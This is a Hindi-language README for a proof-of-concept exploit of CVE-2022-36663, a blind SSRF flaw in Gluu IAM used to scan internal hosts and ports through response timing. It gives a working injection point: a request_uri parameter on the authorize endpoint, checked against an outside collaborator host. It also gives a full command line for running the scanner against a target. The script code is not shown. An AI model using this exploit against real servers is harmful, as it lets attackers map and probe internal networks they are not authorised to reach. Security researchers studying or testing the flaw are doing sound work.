CVE-2022-36663-PoC

Gluu IAM ब्लाइंड ssrf के माध्यम से आंतरिक नेटवर्क स्कैनर

Gluu IAM ब्लाइंड SSRF के प्रति संवेदनशील है, जिसका फायदा उठाकर प्रतिक्रिया समय के आधार पर आंतरिक नेटवर्क में खुले पोर्ट्स को स्कैन किया जा सकता है।

https://nvd.nist.gov/vuln/detail/CVE-2022-36663

यह जाँचने के लिए कि लक्ष्य संवेदनशील है या नहीं, /oxauth/restv1/authorize अनुरोध में &request_uri=http://burpcollab जोड़ें और लक्ष्य सर्वर से आने वाले ट्रैफ़िक के लिए पोल करें।

उपयोग

python3 CVE-2022-36663.py --url https://target --ip 10.10.10.10 --port 8080 --ar '/oxauth/restv1/authorize?client_id=<clientID>&redirect_uri=https://target.com/return.html&response_type=code&scope=openid+profile+email+user_name&nonce=<nonce>&acr_values=simple_password_auth&request_uri='

Url - Gluu IAM सर्वर url

IP - वह आंतरिक IP पता या सबनेट जिसे आप स्कैन करना चाहते हैं

Port - वह आंतरिक पोर्ट जिसे आप स्कैन करना चाहते हैं

AR - खाली request_uri के साथ समाप्त होने वाला प्राधिकरण अनुरोध URL